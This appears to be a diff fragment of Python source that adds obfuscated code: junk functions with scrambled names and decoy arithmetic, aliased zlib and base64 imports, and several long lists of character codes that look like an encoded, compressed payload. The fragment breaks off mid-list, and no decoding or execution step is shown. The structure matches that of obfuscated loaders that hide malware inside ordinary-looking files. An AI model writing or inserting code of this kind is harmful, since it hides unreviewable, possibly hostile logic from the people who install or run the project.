isinstance(TpeIlVk5AE2n8, int) else len(str(TpeIlVk5AE2n8)) +def Ynq1lWA_rPk(Zl173JRvThclIIl, jbO86E__IlDr, t__N0O5Kqy): + h_tHOcW_0yQ = [i for i in range(5) if i % 2 == 0] + T5TLGl1vlItSh__ = 44 * 9 + 21 + M0ORy2O0Il3sIll = "NJA_ixqyu2" + str(742) + jw8PSIlGNl1foj4 = "AO00OQ_Il7Ydl11" + str(754) + return sum([h_tHOcW_0yQ, T5TLGl1vlItSh__, M0ORy2O0Il3sIll]) if isinstance(h_tHOcW_0yQ, int) else len(str(h_tHOcW_0yQ)) +def PS1lGML7EslI(b60aNX_1l, Fl13DrO01lIlGHs): + NO01lSfXQ__ = "jO0SlIIdlIE1o6e" + str(10) + ZwH_2__l1iX1lIl = 52 * 39 + 14 + xcsfi01lZLl13qO = "sTd__Il_dTVlIpz" + str(291) + Ht9O0A72Il = [i for i in range(9) if i % 2 == 0] + y1211l2hD1lPRQ7 = 83 * 7 + 9 + nl140OIlNs7 = 70 * 15 + 19 + return sum([NO01lSfXQ__, ZwH_2__l1iX1lIl, xcsfi01lZLl13qO]) if isinstance(NO01lSfXQ__, int) else len(str(NO01lSfXQ__)) +def NMwdQ1lrgu(wEvL4TKXBZy, S___1lSlIA_1lbS, Ua6sRO0Ul1Ilwrk, rOsFIld0fV1l2L): + dhO01lfSsu7T = "XIls1lR__lIW" + str(346) + Gq__K_F__LlIw9q = "U0O_lIKAGJMO0KI" + str(820) + AY_sh80OT1dkAbl = "TPqKiO0Kl1xZIl" + str(819) + pYTbPB____XIlg = 9 * 39 + 23 + return sum([dhO01lfSsu7T, Gq__K_F__LlIw9q, AY_sh80OT1dkAbl]) if isinstance(dhO01lfSsu7T, int) else len(str(dhO01lfSsu7T)) +def g81l20IlVlI0O0O(Q__j6Wf6W0O4B, qIVK1lzU1Gv, CCdGoMsO0O2OsO0): + D7Q__p_G0OIlDlI = [i for i in range(5) if i % 2 == 0] + DZR__RhThJl1lIU = "Z_yJQal1vzFgVrH" + str(235) + Q45BKoeO0O2D = "AyMikPmH__IlIrR" + str(561) + return sum([D7Q__p_G0OIlDlI, DZR__RhThJl1lIU, Q45BKoeO0O2D]) if isinstance(D7Q__p_G0OIlDlI, int) else len(str(D7Q__p_G0OIlDlI)) +aiAr_1lG_KO0mGl = {26, 91, 53, 40, 85} +PlIUlIEO0pl14__ = {28, 25, 34, 6} +gclIJm1lIlzk = (lambda fal1sIl0OO0_iv1: fal1sIl0OO0_iv1 * 8 + 19)(12) +F1lAI8_3Ef = {"H1l8dPx15vCW6j": 860, "q0Od_Is0s1l": 773, "uO0bJZZlI4Nvzl1": 41} +oBkc_O0xy = (85, 477, 982, 284, 946) +H9IlBD4lAy1l0OQ = (lambda kPE8rV8X: kPE8rV8X * 2 + 6)(12) +j__1liX1__G = {23, 32, 51, 8, 72} +L5eXaXdrC = [[39 for _ in range(4)] for _ in range(2)] +p5aS0O0OJH7yAip = [[29 for _ in range(4)] for _ in range(3)] +VLoEq4Oy0OW = {"K0ODiGYO0O0lIO0": 470, "pw0O0Mu1P": 12, "XkI0OO0lI2IlIl1": 417} +P_555__kVIlMHTC = {"nvO0l1__hlIaYb": 358, "SZl1X1lNlI6B3": 239, "tWMl1HE_yeN__9l": 260} +vr1l1lTtSrPoP0O = {"i9I_1lO0Y0OVA9": 24, "xHx__0O_0O__pl1": 730, "B3Losulv23j7kl1": 401} +OrqlI1ld1lE1lUD = (lambda tS0OIltt__8uu4m: tS0OIltt__8uu4m * 2 + 41)(19) +e_5j3ClIApQzqc_ = {"AB0OwIv8tQlI": 582, "b5r1ll1_0Osf": 63, "o7YO0oYl8tRl1Ol": 17} +YHIll1jnellI = [[45 for _ in range(2)] for _ in range(3)] +import zlib as pFU_FErdFPO08a_, base64 as F4____0AwDt1lO0 +UIl1ll1P9lInn_l = [87, 108, 110, 78, 86, 77, 123, 82, 85, 55, 71, 59, 63, 65, 120, 80, 100, 55, 80, 102, 97, 99, 111, 88, 108, 89, 105, 38, 40, 84, 79, 45, 121, 49, 126, 78, 94, 86, 116, 68, 70, 71, 42, 64, 120, 83, 88, 51, 96, 98, 90, 70, 68, 110, 112, 77, 114, 85, 86, 73, 70, 108, 82, 36, 108, 89, 42, 98, 84, 109, 78, 78, 56, 122, 83, 99, 81, 36, 50, 90, 70, 75, 124, 35, 82, 88, 41, 105, 87, 111, 70, 71, 64, 38, 100, 80, 107, 66, 35, 53, 76, 80, 49, 74, 53, 90, 56, 108, 83, 71, 72, 36, 45, 98, 107, 71, 104, 125, 57, 67, 73, 87, 99, 45, 112, 79, 104, 96, 94, 83, 78, 78, 90, 67, 63, 88, 110, 57, 112, 75, 88, 71, 124, 43, 99, 83, 126, 113, 99, 51, 70, 72, 99, 56, 74, 79, 71, 89, 43, 112, 70, 45, 51, 68, 108, 80, 59, 79, 76, 49, 78, 111, 122, 50, 54, 79, 59, 117, 125, 73, 99, 121, 50, 72, 43, 71, 40, 117, 84, 85, 99, 88, 119, 56, 54, 98, 35, 96, 104, 115, 86, 62, 111, 70, 33, 73, 89, 63, 116, 59, 80, 101, 67, 95, 119, 77, 124, 86, 103, 36, 87, 105, 87, 97, 126, 79, 71, 35, 66, 110, 80, 69, 97, 35, 101, 80, 66, 50, 98, 51, 87, 61, 100, 120, 40, 71, 70, 77, 116, 102, 78, 104, 64, 77, 103, 82, 100, 97, 49, 94, 75, 123, 33, 104, 124, 79, 43, 45, 109, 35, 97, 67, 118, 49, 63, 90, 70, 54, 62, 88, 71, 68, 125, 66, 106, 79, 109, 60, 97, 84, 73, 55, 118, 99, 68, 99, 124, 116, 100, 77, 90, 68, 99, 114, 57, 77, 96, 125, 37, 87, 88, 73, 87, 81, 77, 76, 113, 115, 96, 74, 79, 45, 51, 42, 41, 71, 41, 114, 89, 122, 76, 114, 59, 49, 33, 77, 81, 125, 40, 113, 76, 50, 69, 69, 62, 77, 115, 96, 40, 100, 86, 96, 41, 37, 35, 82, 120, 110, 54, 71, 88, 76, 64, 62, 97, 70, 108, 126, 66, 55, 77, 123, 71, 33, 80, 82, 88, 56, 124, 57, 70, 74, 101, 40, 76, 71, 68, 107, 79, 50, 76, 116, 60, 69, 73, 99, 126, 53, 122, 50, 80, 59, 43, 114, 66, 97, 88, 51, 79, 124, 82, 89, 55, 36, 120, 77, 81, 84, 113, 126, 97, 57, 84, 72, 72, 80, 42, 79, 64, 113, 80, 72, 33, 116, 125, 98, 50, 78, 72, 69, 99, 123, 88, 45, 52, 73, 86, 40, 65, 74, 86, 115, 125, 63, 100, 76, 84, 103, 49, 114, 81, 42, 36, 113, 72, 99, 88, 100, 125, 96, 89, 73, 48, 35, 86, 68, 124, 75, 62, 117, 79, 108, 77, 51, 64, 83, 119, 119, 49, 65, 81, 35, 77, 115, 114, 89, 38, 84, 103, 107, 72, 67, 98, 35, 109, 98, 87, 117, 37, 109, 90, 66, 84, 74, 105, 82, 89, 45, 49, 101, 79, 63, 79, 54, 56, 73, 89, 99, 115, 80, 79, 72, 121, 77, 61, 72, 56, 64, 35, 68, 73, 53, 49, 45, 123, 89, 101, 59, 66, 57, 100, 50, 75, 85, 119, 82, 99, 108, 121, 119, 90, 41, 59, 73, 110, 98, 122, 120, 85, 111, 70, 108, 106, 95, 42, 79, 109, 108, 50, 95, 89, 106, 48, 67, 59, 86, 96, 102, 37, 97, 79, 76, 81, 60, 82, 83, 86, 85, 53, 70, 99, 126, 87, 107, 49, 80, 38, 81, 70, 103, 73, 98, 38, 103, 65, 78, 111, 122, 119, 43, 84, 54, 82, 120, 41, 70, 106, 115, 71, 72, 87, 112, 33, 63, 74, 81, 55, 99, 101, 38, 72, 70, 104, 42, 77, 82, 53, 119, 109, 86, 80, 73, 122, 94, 54, 70, 42, 71, 89, 100, 90, 98, 53, 55, 95, 97, 89, 124, 33, 122, 98, 86, 122, 55, 116, 97, 87, 104, 118, 95, 73, 66, 113, 100, 85, 70, 45, 49, 50, 62, 82, 67, 55, 87, 37, 80, 103, 56, 74, 116, 83, 121, 42, 115, 119, 79, 45, 63, 97, 69, 86, 110, 117, 57, 103, 99, 87, 122, 56, 102, 88, 109, 76, 43, 40, 81, 38, 51, 83, 59, 98, 53, 108, 122, 61, 71, 69, 123, 80, 65, 78, 108, 116, 66, 48, 68, 96, 123, 63, 99, 88, 68, 126, 81, 75, 86, 62, 77, 80, 121, 75, 125, 126, 67, 70, 78, 72, 57, 96, 82, 84, 53, 67, 97, 65, 100, 85, 59, 68, 106, 80, 103, 80, 111, 90, 70, 74, 40, 113, 45, 99, 49, 126, 107, 118, 82, 38, 45, 125, 35, 79, 108, 87, 106, 64, 71, 41, 104, 61, 50, 77, 109, 50, 88, 115, 70, 59, 56, 116, 99, 76, 119, 81, 67, 59, 89, 37, 42, 71, 70, 97, 66, 41, 35, 124, 78, 78, 106, 48, 112, 80, 41, 108, 110, 59, 77, 112, 123, 69, 70, 88, 72, 96, 62, 52, 100, 80, 73, 52, 50, 88, 104, 75, 121, 123, 80, 60, 75, 41, 125, 77, 115, 114, 113, 109, 90, 102, 98, 56, 114, 77, 115, 80, 120, 65, 82, 89, 78, 35, 55, 76, 64, 35, 71, 108, 99, 84, 105, 49, 112, 77, 94, 35, 90, 109, 71, 73, 64, 49, 40, 87, 105, 40, 98, 111, 88, 70, 94, 40, 76, 86, 82, 40, 53, 94, 87, 64, 118, 97, 100, 72, 37, 51, 111, 111, 78, 95, 82, 36, 87, 87, 94, 115, 67, 87, 99, 50, 123, 73, 45, 70, 103, 72, 101, 56, 90, 102, 81, 54, 124, 84, 54, 49, 83, 78, 90, 100, 71, 36, 79, 79, 45, 68, 94, 96, 83, 55, 62, 75, 52, 88, 74, 124, 96, 107, 72, 65, 113, 78, 35, 90, 65, 87, 68, 125, 72, 69, 119, 33, 117, 81, 57, 41, 66, 33, 68, 63, 62, 124, 109, 76, 113, 125, 54, 98, 82, 97, 82, 95, 108, 100, 80, 71, 53, 82, 79, 71, 115, 35, 74, 73, 97, 55, 54, 74, 83, 55, 65, 124, 70, 88, 71, 40, 72, 99, 89, 40, 105, 56, 118, 98, 84, 110, 121, 99, 81, 65, 36, 108, 87, 84, 52, 122, 45, 95, 88, 105, 82, 114, 37, 82, 120, 101, 62, 117, 72, 69, 85, 73, 75, 86, 63, 35, 107, 115, 89, 101, 56, 54, 76, 81, 37, 104, 71, 107, 76, 111, 106, 33, 67, 100, 85, 36, 107, 90, 73, 56, 56, 89, 45, 70, 45, 75, 117, 112, 81, 69, 120, 60, 74, 72, 70, 73, 114, 72, 97, 66, 88, 72, 40, 81, 40, 56, 52, 45, 99, 88, 85, 106, 52, 87, 77, 41, 96, 99, 88, 105, 57, 102, 84, 72, 69, 119, 55, 124, 87, 62, 72, 51, 65, 89, 59, 97, 79, 69, 71, 101, 124, 50, 33, 97, 89, 125, 86, 84, 71, 70, 78, 118, 111, 99, 88, 38, 61, 96, 78, 109, 101, 59, 60, 79, 109, 60, 94, 55, 86, 77, 116, 65, 67, 86, 81, 87, 108, 107, 76, 94, 111, 71, 83, 87, 59, 82, 83, 94, 71, 69, 95, 52, 38, 86, 78, 54, 85, 96, 78, 63, 66, 43, 124, 99, 123, 111, 111, 123, 86, 123, 61, 55, 48, 86, 77, 37, 38, 89, 87, 94, 72, 122, 72, 82, 87, 63, 62, 110, 77, 111, 118, 38, 79, 78, 76, 79, 75, 54, 77, 80, 42, 75, 57, 77, 94, 116, 50, 73, 84, 51, 48, 122, 114, 88, 41, 65, 86, 104, 80, 66, 100, 57, 110, 80, 66, 84, 119, 119, 71, 102, 43, 114, 83, 100, 80, 113, 111, 51, 73, 66, 45, 84, 37, 78, 110, 126, 36, 79, 100, 81] +JG3GIlFJO00O = [52, 68, 52, 79, 75, 119, 98, 78, 78, 112, 120, 51, 66, 82, 99, 51, 56, 114, 75, 126, 70, 63, 57, 73, 55, 102, 52, 78, 80, 103, 70, 78, 109, 81, 38, 67, 81, 57, 70, 108, 97, 101, 37, 70, 76, 121, 70, 98, 100, 50, 51, 125, 99, 82, 120, 111, 48, 56, 90, 65, 87, 78, 33, 83, 97, 78, 49, 123, 83, 120, 81, 99, 77, 71, 68, 66, 111, 98, 97, 38, 49, 76, 83, 72, 65, 72, 98, 122, 83, 53, 123, 63, 112, 82, 37, 61, 67, 82, 70, 75, 74, 73, 117, 72, 70, 72, 53, 116, 83, 52, 126, 84, 52, 76, 113, 115, 122, 123, 82, 56, 86, 60, 67, 72, 100, 82, 89, 109, 98, 85, 65, 111, 101, 77, 74, 114, 69, 68, 71, 69, 72, 86, 113, 83, 84, 37, 69, 83, 89, 69, 41, 45, 111, 73, 57, 87, 110, 68, 77, 115, 90, 60, 53, 99, 53, 103, 126, 54, 97, 37, 42, 45, 103, 88, 71, 76, 48, 103, 71, 41, 113, 61, 90, 76, 112, 102, 116, 103, 90, 69, 81, 113, 40, 100, 82, 74, 42, 120, 68, 63, 120, 90, 75, 89, 106, 72, 49, 54, 98, 51, 124, 120, 36, 80, 105, 49, 59, 106, 70, 104, 79, 96, 86, 83, 119, 126, 52, 125, 80, 105, 124, 54, 56, 78, 77, 100, 36, 111, 72, 100, 83, 103, 121, 78, 60, 40, 37, 117, 98, 97, 88, 76, 102, 97, 90, 104, 77, 63, 78, 74, 38, 42, 113, 89, 40, 89, 103, 103, 79, 72, 112, 45, 100, 90, 99, 107, 125, 86, 78, 78, 96, 73, 118, 98, 86, 54, 117, 74, 76, 85, 86, 85, 103, 81, 70, 109, 117, 124, 80, 100, 71, 119, 116, 98, 50, 51, 57, 35, 79, 60, 71, 52, 33, 88, 104, 67, 56, 122, 72, 38, 56, 61, 76, 81, 100, 51, 83, 38, 79, 59, 116, 102, 63, 81, 100, 52, 68, 55, 98, 53, 67, 60, 119, 80, 59, 54, 56, 37, 70, 71, 53, 109, 106, 81, 68, 116, 100, 98, 77, 109, 98, 80, 90, 72, 69, 51, 37, 123, 90, 66, 99, 71, 66, 97, 98, 97, 85, 108, 89, 40, 105, 126, 117, 79, 45, 100, 95, 104, 71, 40, 62, 75, 55, 71, 45, 55, 69, 124, 82, 87, 42, 50, 89, 99, 87, 79, 94, 89, 76, 123, 117, 60, 107, 82, 89, 114, 70, 60, 78, 61, 90, 42, 82, 88, 45, 45, 106, 88, 88, 102, 116, 106, 64, 78, 94, 76, 80, 124, 88, 104, 117, 106, 117, 87, 60, 64, 89, 113, 71, 40, 109, 49, 100, 76, 84, 87, 64, 61, 90, 66, 36, 120, 81, 88, 105, 57, 78, 41, 97, 120, 89, 74, 65, 79, 62, 115, 101, 76, 99, 88, 110, 119, 61, 78, 73, 94, 119, 48, 76, 85, 50, 78, 80, 80, 101, 102, 84, 112, 88, 63, 56, 79, 63, 70, 101, 94, 119, 64, 72, 99, 62, 65, 96, 76, 94, 41, 122, 74, 73, 99, 56, 120, 123, 99, 120, 94, 85, 114, 97, 35, 119, 79, 107, 97, 38, 97, 123, 62, 98, 35, 114, 50, 77, 78, 72, 61, 122, 76, 78, 80, 50, 87, 106, 87, 72, 68, 120, 49, 77, 82, 59, 38, 63, 77, 78, 66, 113, 76, 90, 36, 85, 42, 121, 75, 125, 82, 61, 75, 72, 65, 89, 72, 117, 78, 105, 105, 126, 49, 76, 84, 78, 78, 105, 81, 55, 126, 122, 54, 88, 76, 51, 98, 35, 72, 35, 116, 72, 36, 86, 110, 82, 110, 35, 97, 67, 66, 62, 75, 80, 106, 102, 82, 122, 86, 61, 72, 87, 72, 90, 67, 53, 100, 67, 89, 102, 87, 111, 49, 81, 37, 55, 81, 79, 86, 111, 122, 42, 104, 86, 94, 66, 52, 68, 82, 57, 90, 110, 113, 76, 115, 63, 123, 50, 76, 118, 61, 43, 108, 72, 38, 35, 74, 90, 81, 66, 96, 68, 69, 88, 74, 125, 63, 40, 79, 74, 95, 77, 90, 83, 35, 85, 126, 73, 98, 117, 117, 122, 109, 87, 112, 122, 110, 122, 98, 88, 97, 121, 108, 97, 55, 98, 66, 76, 78, 111, 80, 124, 63, 72, 68, 42, 73, 109, 86, 82, 109, 106, 41, 75, 125, 60, 63, 85, 83, 54, 52, 37, 75, 72, 65, 96, 95, 100, 76, 80, 65, 68, 49, 72, 70, 115, 111, 115, 76, 51, 108, 80, 115, 78, 64, 72, 40, 116, 88, 63, 65, 38, 99, 83, 90, 79, 119, 53, 80, 45, 59, 40, 69, 100, 85, 115, 107, 62, 88, 76, 110, 123, 113, 86, 116, 71, 83, 74, 97, 37, 103, 82, 50, 88, 61, 55, 80, 119, 76, 95, 117, 40, 71, 72, 98, 95, 108, 38, 97, 55, 98, 41, 79, 78, 64, 123, 82, 120, 79, 104, 116, 66, 90, 77, 82, 106, 118, 99, 90, 56, 51, 54, 86, 76, 85, 49, 117, 76, 78, 75, 98, 98, 35, 76, 81, 96, 54, 54, 99, 52, 65, 82, 89, 70, 102, 110, 109, 76, 79, 74, 114, 119, 57, 77, 112, 116, 99, 55, 86, 82, 125, 104, 43, 98, 88, 56, 60, 99, 71, 100, 87, 97, 71, 89, 40, 112, 124, 95, 90, 68, 108, 75, 50, 77, 79, 83, 101, 41, 78, 59, 113, 63, 55, 70, 108, 35, 101, 83, 88, 61, 104, 60, 102, 97, 89, 65, 37, 41, 72, 90, 102, 78, 59, 99, 52, 74, 123, 111, 81, 43, 71, 51, 49, 77, 80, 89, 52, 49, 71, 45, 113, 94, 84, 82, 67, 122, 82, 90, 81, 66, 95, 99, 81, 76, 125, 112, 60, 96, 87, 78, 50, 98, 109, 78, 107, 118, 116, 54, 79, 103, 75, 89, 75, 86, 78, 41, 43, 110, 82, 122, 33, 65, 90, 87, 74, 79, 68, 52, 89, 101, 106, 72, 80, 79, 72, 40, 59, 94, 98, 89, 112, 51, 72, 88, 42, 102, 98, 125, 86, 112, 119, 87, 48, 81, 38, 120, 54, 81, 71, 43, 57, 124, 36, 99, 86, 115, 121, 61, 73, 54, 95, 72, 77, 82, 97, 49, 54, 68, 86, 112, 85, 126, 83, 86, 108, 105, 124, 95, 70, 69, 51, 124, 122, 88, 59, 110, 61, 33, 97, 98, 123, 82, 68, 82, 90, 61, 114, 36, 82, 56, 66, 45, 123, 68, 96, 71, 102, 83, 99, 50, 43, 80, 40, 76, 80, 73, 114, 112, 73, 87, 115, 126, 118, 70, 61, 66, 78, 113, 98, 120, 119, 48, 63, 86, 75, 122, 37, 94, 79, 106, 65, 103, 54, 81, 69, 42, 51, 88, 84, 52, 123, 55, 42, 81, 100, 110, 85, 42, 83, 89, 100, 81, 110, 89, 66, 122, 54, 98, 75, 126, 95, 79, 95, 72, 40, 55, 81, 121, 97, 87, 43, 70, 95, 71, 106, 84, 85, 124, 82, 120, 126, 82, 38, 88, 63, 98, 123, 73, 86, 61, 33, 105, 77, 82, 100, 59, 119, 35, 89, 105, 85, 113, 77, 89, 70, 65, 66, 67, 71, 68, 75, 72, 74, 72, 65, 81, 107, 95, 88, 60, 57, 62, 86, 89, 38, 108, 123, 123, 78, 108, 80, 122, 54, 72, 104, 54, 86, 81, 86, 76, 64, 48, 112, 82, 38, 70, 40, 78, 86, 81, 103, 63, 62, 99, 126, 120, 126, 110, 83, 121, 41, 57, 95, 72, 97, 50, 37, 83, 97, 37, 94, 72, 116, 79, 61, 87, 115, 103, 83, 33, 81, 102, 118, 90, 66, 75, 101, 75, 70, 109, 42, 70, 64, 86, 110, 124, 104, 81, 70, 105, 61, 41, 81, 88, 41, 114, 125, 116, 97, 122, 107, 81, 112, 77, 81, 40, 85, 60, 80, 38, 81, 126, 41, 99, 54, 51, 53, 60, 77, 78, 85, 88] +E_o1QmF__AIl0OA = [87, 97, 100, 82, 62, 61, 78, 62, 87, 111, 101, 83, 56, 96, 64, 64, 97, 38, 62, 56, 57, 79, 59, 49, 66, 59, 80, 73, 121, 118, 109, 87, 62, 72, 82, 102, 100, 80, 55, 72, 80, 82, 100, 35, 72, 50, 82, 35, 105, 99, 72, 89, 69, 121, 86, 62, 81, 90, 80, 122, 53, 81, 103, 49, 88, 43, 76, 115, 118, 70, 33, 72, 102, 50, 122, 55, 86, 96, 52, 61, 121, 100, 49, 70, 103, 55, 99, 123, 121, 102, 75, 73, 65, 85, 88, 50, 70, 103, 56, 76, 60, 88, 45, 114, 67, 49, 87, 62, 56, 112, 88, 78, 60, 40, 69, 89, 87, 111, 38, 112, 103, 73, 56, 106, 77, 61, 80, 103, 70, 61, 36, 98, 49, 80, 95, 105, 86, 82, 40, 48, 65, 78, 77, 38, 89, 77, 80, 101, 102, 45, 109, 87, 111, 50, 116, 38, 97, 66, 120, 106, 94, 98, 52, 95, 65, 114, 90, 56, 83, 41, 53, 84, 52, 43, 103, 55, 90, 103, 69, 70, 51, 99, 86, 124, 118, 62, 77, 82, 59, 106, 116, 90, 67, 79, 101, 61, 97, 55, 83, 105, 37, 71, 68, 38, 110, 112, 90, 65, 118, 106, 61, 81, 66, 96, 95, 119, 68, 123, 111, 63, 74, 100, 81, 110, 116, 49, 99, 96, 114, 38, 100, 98, 52, 113, 101, 97, 82, 89, 80, 96, 54, 83, 86, 84, 50, 116, 97, 66, 102, 79, 57, 77, 63, 95, 70, 97, 76, 126, 60, 41, 121, 81, 40, 96, 108, 50, 71, 66, 72, 106, 33, 80, 45, 73, 113, 68, 73, 97, 42, 63, 65, 81, 65, 107, 38, 74, 77, 109, 48, 96, 41, 75, 96, 62, 87, 80, 87, 108, 62, 76, 77, 78, 61, 72, 59, 94, 81, 36, 116, 85, 48, 72, 65, 71, 81, 85, 77, 114, 38, 104, 54, 81, 69, 54, 62, 83, 71, 73, 52, 80, 41, 77, 63, 33, 97, 74, 86, 75, 123, 65, 79, 88, 43, 62, 35, 100, 76, 125, 70, 64, 84, 99, 86, 36, 94, 123, 72, 67, 83, 100, 99, 98, 121, 33, 107, 80, 87, 109, 56, 33, 40, 82, 87, 41, 103, 74, 87, 74, 111, 74, 57, 98, 118, 97, 78, 95, 71, 69, 104, 61, 107, 80, 69, 73, 112, 116, 100, 78, 88, 37, 115, 86, 81, 70, 60, 33, 98, 119, 79, 108, 112, 73, 89, 118, 87, 117, 70, 109, 113, 81, 38, 88, 105, 35, 61, 90, 84, 54, 65, 86, 62, 70, 61, 37, 73, 82, 88, 63, 57, 54, 53, 79, 60, 55, 95, 64, 73, 66, 124, 71, 99, 71, 105, 45, 87, 86, 97, 66, 69, 112, 73, 76, 49, 72, 35, 106, 70, 108, 117, 115, 84, 79, 102, 78, 52, 117, 70, 63, 117, 121, 123, 78, 59, 102, 114, 57, 73, 56, 106, 110, 104, 72, 41, 65, 36, 56, 87, 76, 105, 111, 63, 99, 83, 62, 86, 73, 90, 104, 65, 118, 109, 86, 64, 71, 79, 71, 97, 57, 49, 123, 70, 76, 85, 75, 122, 42, 88, 71, 100, 62, 115, 70, 63, 101, 78, 54, 86, 114, 121, 124, 122, 80, 69, 73, 100, 84, 81, 68, 97, 116, 68, 97, 38, 99, 53, 95, 80, 42, 112, 105, 111, 83, 53, 115, 126, 124, 70, 62, 43, 87, 110, 71, 59, 126, 97, 74, 83, 36, 83, 114, 57, 88, 109, 119, 83, 48, 72, 42, 97, 72, 67, 89, 69, 86, 126, 70, 99, 126, 52, 52, 97, 90, 66, 35, 123, 83, 79, 41, 71, 103, 113, 98, 36, 51, 90, 109, 78, 94, 87, 62, 61, 99, 87, 56, 78, 102, 89, 43, 43, 49, 76, 98, 122, 120, 54, 122, 97, 56, 45, 73, 77, 76, 50, 103, 104, 45, 77, 96, 126, 63, 107, 68, 63, 126, 57, 107, 79, 110, 70, 103, 120, 88, 102, 36, 118, 96, 98, 52, 111, 45, 115, 83, 86, 37, 90, 122, 78, 60, 108, 76, 43, 82, 97, 83, 51, 74, 82, 90, 125, 37, 95, 71, 45, 45, 56, 109, 97, 65, 123, 94, 33, 99, 121, 38, 111, 103, 99, 48, 112, 55, 37, 68, 63, 118, 123, 38, 86, 114, 42, 113, 76, 86, 113, 59, 102, 74, 88, 76, 109, 119, 110, 97, 35, 40, 103, 122, 76, 123, 101, 33, 112, 87, 113, 76, 115, 124, 79, 71, 72, 54, 42, 79, 72, 94, 125, 97, 73, 87, 117, 78, 115, 70, 72, 36, 108, 36, 98, 89, 64, 82, 66, 99, 53, 89, 53, 115, 71, 99, 35, 42, 50, 87, 77, 94, 52, 55, 90, 103, 94, 69, 62, 76, 81, 35, 49, 124, 75, 125, 99, 57, 103, 79, 109, 33, 60, 88, 72, 67, 105, 37, 73, 99, 117, 57, 67, 107, 81, 42, 108, 94, 118, 98, 126, 65, 75, 79, 79, 104, 81, 109, 59, 87, 74, 64, 116, 118, 89, 37, 101, 108, 70, 98, 33, 109, 55, 113, 86, 62, 52, 125, 100, 78, 80, 50, 72, 76, 68, 124, 65, 62, 38, 83, 121, 63, 113, 115, 72, 70, 90, 78, 117, 78, 61, 124, 52, 126, 83, 55, 97, 124, 63, 76, 49, 36, 83, 106, 88, 105, 56, 66, 64, 90, 33, 49, 98, 116, 78, 111, 33, 83, 66, 72, 70, 35, 71, 116, 87, 77, 87, 125, 67, 97, 52, 126, 103, 74, 86, 114, 112, 55, 49, 73, 67, 53, 71, 64, 89, 42, 107, 49, 122, 82, 54, 125, 99, 99, 89, 59, 56, 122, 84, 89, 68, 123, 56, 66, 86, 62, 119, 86, 79, 98, 53, 62, 124, 124, 98, 125, 126, 85, 86, 89, 73, 45, 63, 118, 88, 63, 74, 69, 103, 73, 67, 121, 80, 38, 71, 66, 106, 115, 117, 81, 43, 90, 64, 66, 78, 64, 123, 73, 73, 82, 56, 108, 90, 109, 71, 101, 117, 66, 36, 79, 76, 98, 94, 64, 82, 38, 59, 75, 56, 78, 78, 123, 62, 70, 90, 36, 41, 83, 96, 70, 108, 74, 100, 123, 76, 112, 67, 111, 38, 90, 68, 61, 117, 50, 71, 71, 108, 50, 103, 76, 95, 115, 41, 114, 82, 121, 49, 126, 85, 99, 86, 125, 42, 74, 87, 59, 90, 120, 49, 82, 55, 122, 33, 102, 70, 43, 42, 45, 112, 77, 115, 114, 51, 117, 89, 99, 95, 67, 106, 77, 124, 68, 68, 80, 82, 88, 73, 94, 108, 76, 81, 112, 110, 114, 97, 37, 68, 110, 101, 77, 77, 55, 106, 121, 83, 56, 80, 112, 75, 88, 42, 113, 70, 53, 82, 56, 77, 52, 83, 72, 69, 100, 123, 53, 71, 70, 78, 74, 71, 70, 101, 94, 37, 57, 78, 76, 113, 55, 71, 98, 57, 90, 122, 35, 77, 114, 38, 104, 107, 70, 69, 63, 123, 102, 90, 90, 38, 67, 110, 78, 72, 48, 107, 61, 98, 53, 67, 104, 108, 89, 60, 53, 85, 84, 68, 95, 51, 101, 36, 82, 38, 43, 37, 124, 79, 59, 66, 111, 81, 76, 114, 103, 80, 108, 87, 107, 70, 35, 37, 88, 105, 114, 100, 100, 81, 100, 76, 53, 57, 77, 114, 60, 45, 33, 88, 72, 95, 121, 41, 86, 112, 109, 78, 63, 99, 53, 114, 80, 40, 86, 94, 51, 76, 49, 79, 103, 51, 95, 52, 72, 70, 115, 71, 94, 87, 75, 100, 87, 126, 89, 40, 112, 124, 106, 72, 67, 107, 100, 103, 83, 97, 77, 105, 36, 71, 40, 108, 68, 125, 80, 71, 100, 49, 125, 70, 102, 38, 118, 117, 78, 72, 84, 104, 49, 70, 104, 42, 50, 86, 70, 73, 90, 86, 89, 90, 35, 104, 70, 98, 68, 64, 90, 101, 72, 99, 126, 77, 80, 100, 71, 102, 43, 64, 43, 78] +O70ZIlKz1a = [77, 36, 81, 45, 90, 90, 107, 71, 118, 90, 69, 45, 104, 76, 73, 57, 52, 96, 100, 78, 109, 52, 126, 115, 79, 43, 115, 94, 89, 73, 99, 33, 121, 76, 99, 119, 117, 33, 41, 100, 85, 114, 125, 102, 89, 73, 57, 126, 45, 73, 55, 99, 42, 106, 81, 35, 87, 75, 117, 81, 65, 117, 120, 85, 76, 118, 85, 113, 65, 77, 48, 57, 57, 73, 79, 109, 124, 50, 121, 79, 105, 112, 117, 72, 70, 108, 83, 51, 118, 88, 110, 49, 42, 88, 80, 105, 83, 82, 75, 97, 121, 78, 69, 81, 73, 52, 94, 75, 96, 70, 45, 82, 42, 63, 100, 85, 55, 118, 70, 73, 66, 45, 108, 122, 87, 79, 122, 43, 82, 90, 70, 69, 100, 112, 72, 65, 79, 84, 119, 80, 100, 57, 87, 110, 99, 81, 123, 114, 59, 77, 80, 121, 111, 73, 76, 115, 52, 105, 43, 87, 64, 35, 38, 70, 90, 66, 82, 62, 53, 90, 67, 80, 113, 64, 90, 98, 102, 72, 57, 79, 107, 96, 48, 118, 78, 78, 95, 104, 126, 76, 51, 99, 64, 100, 86, 79, 109, 88, 88, 80, 102, 48, 85, 106, 80, 42, 90, 119, 119, 71, 102, 43, 107, 94, 73, 100, 77, 37, 40, 90, 69, 81, 110, 121, 89, 99, 70, 67, 41, 87, 74, 43, 118, 119, 100, 81, 64, 88, 69, 83, 35, 85, 62, 48, 80, 73, 42, 66, 64, 84, 51, 66, 87, 63, 90, 102, 90, 49, 65, 98, 53, 98, 64, 37, 70, 63, 85, 112, 83, 89, 59, 105, 65, 106, 76, 113, 35, 37, 50, 72, 57, 48, 101, 54, 100, 81, 100, 83, 35, 90, 38, 104, 104, 120, 79, 109, 107, 85, 67, 78, 109, 103, 105, 53, 98, 97, 89, 72, 61, 83, 125, 82, 54, 88, 86, 94, 117, 107, 77, 86, 62, 78, 55, 73, 78, 75, 49, 49, 94, 79, 42, 117, 122, 75, 70, 105, 37, 45, 103, 77, 110, 103, 113, 73, 70, 63, 102, 49, 72, 78, 94, 53, 100, 59, 83, 117, 116, 102, 122, 87, 78, 50, 36, 115, 78, 79, 40, 115, 62, 97, 56, 70, 75, 84, 88, 63, 106, 73, 38, 90, 101, 125, 111, 101, 